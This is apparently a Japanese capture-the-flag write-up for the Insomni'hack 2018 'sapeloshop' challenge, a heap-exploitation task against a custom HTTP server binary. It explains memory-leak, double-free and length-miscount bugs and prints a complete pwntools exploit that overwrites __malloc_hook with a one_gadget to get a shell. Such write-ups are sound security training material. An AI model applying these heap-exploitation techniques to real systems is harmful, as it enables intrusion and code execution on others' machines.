Insomni'hack teaser 2018 [Pwn Sape 163] sapeloshop

観察

問題文

Of course Congolese sappers are hegemonic, we can't let Gaboma sappers say otherwise! Go on Jackie's website and teach him a good lesson by pwning him and show that you know how to sape!

通常のPwnでは nc {host_name} {port} のように ncまたはtelnetで接続するような問題が与えられますが

今回の問題では WebSiteに接続するという問題が与えられました。

もしかしたらWeb系との混合問題かもしれません。まずは何もわからないので、配られたファイルを見てみることにしましょう。

ファイルを解凍した中身は以下のようになりました。

$ file *
footer.html:  UTF-8 Unicode text
header.html:  HTML document, ASCII text
index.html:   HTML document, UTF-8 Unicode text
libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped
order.html:   HTML document, UTF-8 Unicode text
sapeloshop:   ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c03964b1b95b599ee0949ee1bf62a06e02bf9bd, stripped

通常のPwn問と同様に実行可能なバイナリファイルとライブラリのバイナリファイルが入っています。 この問題では更に加えてhtmlファイルも入っています。

さて、とりあえずこのバイナリを実行して解析を進めてみようと思います。しかし、バイナリを実行しても何も表示されず、何かを入力しても、何も起こりません。

もしかすると直接このバイナリにHTTPアクセスを行える可能性があるかもしれません。 とりあえず、 socat TCP-LISTEN:31337,reuseaddr,fork EXEC:"strace -ff -s10000 ./sapeloshop" のようにしてlistenさせたあと、ブラウザ上からアクセスしてみます。

実際にアクセスしてみたところブラウザ上からは問題なくページを見ることが出来ました。 つまりこれはHTTPサーバーのバイナリと見て問題ないようです。

またバイナリを radare2 でみたところ、これは malloc()free() を使ったHeap系の問題と見ても良さそうです。

Heap系の問題と見た場合の exploit.py のテンプレートが以下になります。

import sys
from pwn import *

#context.log_level = "debug"

def generate_request(command, data=None):
   if not data is None:
       method = "POST"
   else:
       method = "GET"
   request = """{method} /{command} HTTP/1.1\r
Host: sapeloshop.teaser.insomnihack.ch\r
Connection: keep-alive\r
""".format(**locals())
   if not data is None:
       data_len = len(data)
       request += """Content-Length: {data_len}\r
\r
{data}""".format(**locals())
   else:
       request += "\r\n"
   return request

def get_index():
   conn.send(generate_request(""))
   conn.recvuntil("HTTP/1.1")

def post_add(desc):
   data = "desc=%s" % desc
   conn.send(generate_request("add", data))
   conn.recvuntil("HTTP/1.1")

def post_inc(item):
   data = "item=%d" % item
   conn.send(generate_request("inc", data))
   conn.recvuntil("HTTP/1.1")

def post_sub(item):
   data = "item=%d" % item
   conn.send(generate_request("sub", data))
   conn.recvuntil("HTTP/1.1")

def post_del(item):
   data = "item=%d" % item
   conn.send(generate_request("del", data))
   conn.recvuntil("HTTP/1.1")

def post_order(item):
   data = "item=%d" % item
   conn.send(generate_request("order", data))
   conn.recvuntil("HTTP/1.1")

def exploit():
   get_index()
   post_add("A" * 0x90)
   post_del(0)
   post_add("A" * 0x100)
   post_add("A")
   post_add("A")
   conn.interactive()

if __name__ == "__main__":
   if len(sys.argv) > 1:
       HOST = "sapeloshop.teaser.insomnihack.ch"
       PORT = "80"
       conn = remote(HOST, PORT)
       base_url = "http://" + HOST + "/"
   else:
       conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"})
       base_url = "http://localhost/"
   exploit()

リクエストヘッダーには Connection: keep-alive を含めないと一度リクエストを送っただけでプロセスが途絶えてしまうのでそうしておきます。

あとは普通のHeap問と同じように解きます。

Exploit

まずこのバイナリでは calloc() ではなく malloc() を使っているために、前に確保されたチャンクの情報が残ってしまうという脆弱性があります。

これを用いることで、 libcのベースアドレスと Heap領域のアドレスをリークすることが出来ます。

def exploit():
    get_index()
    post_add("A" * 0x17)
    post_add("B" * 0x8 + "\x21")
    post_add("C" * 0x87)
    post_sub(2)
    post_inc(2)
    for i in range(4):
        conn.recvuntil("src=\"img/")
    LEAK = u64(conn.recv(6) + "\x00" * 2)
    log.success("LEAK :0x%x" % LEAK)
    leak = 0x7f5e5b522b78
    libc = 0x7f5e5b15e000
    LIBC = LEAK - (leak - libc)
    log.success("LIBC :0x%x" % LIBC)
    post_sub(1)
    post_sub(0)
    post_inc(0)
    for i in range(2):
        conn.recvuntil("src=\"img/")
    HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2)
    log.success("HEAP: 0x%x" % HEAP)

次に POST /sub に脆弱性があります。それは POST /sub によってアイテムの個数が0個になったときに free() されるのにHeapアドレスは残ったままになるというものです。

これによってもう一度アイテムを増やして、 POST /subをやったりあるいは POST /delをやったときに double free を起こせる脆弱性があります。

またもうひとつ、 % をアイテムの名前に含めると % がスキップされるにもかかわらず、サイズには % の数も含まれるというバグが存在しており、これらを用いることで

__malloc_free の書き換えが出来、それによってシェルの奪取が行えます。

以上がExploitになります。

最終的な exploit.py が以下になります。

import sys
from pwn import *
from pwn import p64, u64

#context.log_level = "debug"

def generate_request(command, data=None, fake_len=None):
    if not data is None:
        method = "POST"
    else:
        method = "GET"
    request = """{method} /{command} HTTP/1.1\r
Host: sapeloshop.teaser.insomnihack.ch\r
Connection: keep-alive\r
""".format(**locals())
    if not data is None:
        data_len = len(data)
        if not fake_len is None:
            data += "%" * (fake_len - data_len - 4)
            data_len = len(data)
        request += """Content-Length: {data_len}\r
\r
{data}""".format(**locals())
    else:
        request += "\r\n"
    return request

def get_index():
    conn.send(generate_request(""))
    conn.recvuntil("HTTP/1.1")

def post_add(desc, fake_len=None, end=False):
    data = "desc=%s" % desc
    conn.send(generate_request("add", data, fake_len))
    if not end:
        conn.recvuntil("HTTP/1.1")

def post_inc(item):
    data = "item=%d" % item
    conn.send(generate_request("inc", data))
    conn.recvuntil("HTTP/1.1")

def post_sub(item):
    data = "item=%d" % item
    conn.send(generate_request("sub", data))
    conn.recvuntil("HTTP/1.1")

def post_del(item):
    data = "item=%d" % item
    conn.send(generate_request("del", data))
    conn.recvuntil("HTTP/1.1")

def post_order(item):
    data = "item=%d" % item
    conn.send(generate_request("order", data))
    conn.recvuntil("HTTP/1.1")

def exploit():
    get_index()
    post_add("A" * 0x17)
    post_add("B" * 0x8 + "\x21")
    post_add("C" * 0x87)
    post_sub(2)
    post_inc(2)
    for i in range(4):
        conn.recvuntil("src=\"img/")
    LEAK = u64(conn.recv(6) + "\x00" * 2)
    log.success("LEAK :0x%x" % LEAK)
    leak = 0x7f5e5b522b78
    libc = 0x7f5e5b15e000
    LIBC = LEAK - (leak - libc)
    log.success("LIBC :0x%x" % LIBC)
    post_sub(1)
    post_sub(0)
    post_inc(0)
    for i in range(2):
        conn.recvuntil("src=\"img/")
    HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2)
    log.success("HEAP: 0x%x" % HEAP)
    post_add("D" * 0x67)
    post_add("E" * 0x67)
    post_sub(2)
    post_sub(2)
    post_del(3)
    post_inc(2)
    post_del(2)
    __malloc_hook = 0x3c4b10
    post_add(p64(LIBC + __malloc_hook - 0x23)[:-2], fake_len=0x67)
    post_add("F" * 0x67)
    post_add("G" * 0x67)
#0x45216   execve("/bin/sh", rsp+0x30, environ)
#constraints:
#  rax == NULL
#
#0x4526a   execve("/bin/sh", rsp+0x30, environ)
#constraints:
#  [rsp+0x30] == NULL
#
#0xf02a4   execve("/bin/sh", rsp+0x50, environ)
#constraints:
#  [rsp+0x50] == NULL
#
#0xf1147   execve("/bin/sh", rsp+0x70, environ)
#constraints:
#  [rsp+0x70] == NULL
    one_gadget = 0xf02a4
    post_add("A" * 0x13 + p64(LIBC + one_gadget)[:-2], fake_len=0x67)
    post_add("A", end=True)
    conn.interactive()

def experiment():
    get_index()
    post_add("A" * 0x17, fake_len=0x87)
    conn.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        HOST = "sapeloshop.teaser.insomnihack.ch"
        PORT = "80"
        conn = remote(HOST, PORT)
        base_url = "http://" + HOST + "/"
    else:
        conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"})
        base_url = "http://localhost/"
    exploit()

フラグは

INS{sapeurs_are_the_real_heapsters} です。